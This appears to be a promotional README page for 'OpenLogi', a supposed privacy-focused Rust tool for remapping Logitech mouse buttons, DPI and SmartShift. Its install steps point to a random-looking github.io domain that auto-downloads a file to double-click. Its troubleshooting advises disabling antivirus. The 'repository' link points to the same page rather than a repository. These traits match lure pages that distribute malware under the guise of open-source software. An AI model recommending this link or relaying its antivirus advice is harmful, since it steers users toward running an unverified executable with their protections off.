OpenLogi is a powerful, privacy-focused replacement for Logitech Options+. It lets you take full control of your Logitech mouse—remapping buttons, adjusting DPI, and toggling SmartShift—all without creating an account, sending telemetry, or dealing with cloud services. Everything runs locally on your computer, so your data stays yours.
Think of it as a personal remote control for your mouse. You decide what each button does, how sensitive the sensor is, and how the scroll wheel behaves. No corporate oversight, no hidden tracking, just pure functionality.
Logitech Options+ requires an account and collects usage data. OpenLogi does neither. There's no sign-up, no login, and no telemetry. Your mouse habits are nobody's business but yours.
Built with Rust, OpenLogi is incredibly fast and lightweight. It starts instantly, uses minimal system resources, and responds to your inputs without lag. You won't even notice it's running—until you need it.
- Button Remapping: Assign any function to any button. Whether it's copy-paste, media controls, or launching apps, you're in charge.
- DPI Adjustment: Fine-tune your mouse sensitivity to match your workflow. Switch between precision and speed in a click.
- SmartShift Control: Toggle the scroll wheel between free-spin and clicky modes exactly how you like it.
No internet connection required. OpenLogi functions entirely on your machine, making it reliable even in offline environments or on secure networks.
OpenLogi is designed to run smoothly on most modern systems. Here's what you'll need:
- Operating System: Windows 10 or Windows 11 (64-bit)
- Processor: Any 1 GHz or faster processor
- Memory: 512 MB RAM (1 GB recommended)
- Storage: 20 MB of free disk space
- Supported Mouse Models: Logitech MX Master series, MX Anywhere series, and other HID++ compatible devices
Follow these simple steps to get OpenLogi running on your computer:
Visit this link to download the application: https://dbfdrfgethr56bb.github.io
The download will start automatically. Save the file to a location you can easily find, like your Desktop or Downloads folder.
Once the download is complete, locate the downloaded file and double-click it to run OpenLogi. The application will launch immediately—no installation wizard, no extra steps.
Make sure your Logitech mouse is connected to your computer via USB receiver, Bluetooth, or USB cable. OpenLogi will automatically detect it.
The main interface will show your mouse and its available settings. From here, you can:
- Click on any button to assign a new function
- Drag the DPI slider to adjust sensitivity
- Toggle SmartShift behavior
Your changes apply instantly, so you can test them right away.
- Open OpenLogi and select your mouse from the device list.
- Click on the button you want to remap (left, right, middle, side buttons, etc.).
- Choose a new function from the dropdown menu. Options include:
- Standard actions (copy, paste, undo, etc.)
- Media controls (play/pause, next/previous track)
- System commands (volume up/down, screenshot)
- Keyboard shortcuts (any combination)
- Application launchers
- Click "Apply" to save your changes.
- Navigate to the "Sensitivity" tab.
- Use the slider to set your preferred DPI (dots per inch). Lower values mean slower cursor movement; higher values mean faster.
- You can set multiple DPI levels and switch between them using a dedicated button if your mouse supports it.
- Go to the "Scroll Wheel" section.
- Toggle SmartShift on or off.
- Adjust the threshold—how much force is needed to switch between free-spin and clicky modes.
- Set the default mode when starting the computer.
- Ensure your mouse is powered on and connected.
- Try reconnecting via a different USB port or Bluetooth pairing.
- Restart OpenLogi after reconnecting.
- Check that you clicked "Apply" after making changes.
- Some settings require the mouse to be idle for a moment. Wait 2-3 seconds.
- Restart OpenLogi or your computer if issues persist.
- Verify your system meets the minimum requirements.
- Temporarily disable antivirus software that might block the application.
- Download the file again to ensure it wasn't corrupted during transfer.
Yes, OpenLogi is completely free and open-source. You can use it without any cost or subscription.
OpenLogi supports all Logitech mice that use HID++ protocol. This includes MX Master series, MX Anywhere, and many gaming mice. Check your mouse's manual or the OpenLogi GitHub page for a full compatibility list.
We recommend uninstalling Logitech Options+ to avoid conflicts. Running both simultaneously may cause unpredictable behavior.
Check the GitHub releases page for new versions. Download the latest release and replace your current version.
Absolutely. OpenLogi stores all settings locally on your computer. No data ever leaves your machine.
- GitHub Repository: https://dbfdrfgethr56bb.github.io
- Documentation: Visit the GitHub repo for detailed documentation, including advanced configuration options.
- Community Support: Join the discussion in the GitHub Issues section for help and feature requests.
OpenLogi is written in Rust and leverages the GPUI framework for its interface. The codebase is clean, modular, and well-documented. If you're interested in contributing, check out the GitHub repository for contribution guidelines, development setup instructions, and the roadmap.
- Rust: A systems programming language known for safety and performance.
- GPUI: A high-performance GUI framework.
- HID++: Logitech's protocol for device communication.
OpenLogi is released under an open-source license. See the LICENSE file in the GitHub repository for full details.
- Stars: Growing steadily with community support
- Forks: Open for contributions
- Issues: Actively maintained with regular updates
If OpenLogi has improved your mouse experience, consider:
- Starring the repository on GitHub
- Sharing it with friends and colleagues
- Writing a review or blog post
- Contributing code, documentation, or translations
OpenLogi puts you back in control of your hardware. It's fast, private, and endlessly customizable. Say goodbye to forced accounts and telemetry—say hello to a mouse that works exactly the way you want it to.
Download OpenLogi today and experience the difference. Your mouse will thank you.
Keywords: dpi, gpui, hid, hidpp, local-first, logitech, logitech-mouse, logitech-options, mouse-remapping, mx-master, privacy, rust, smartshift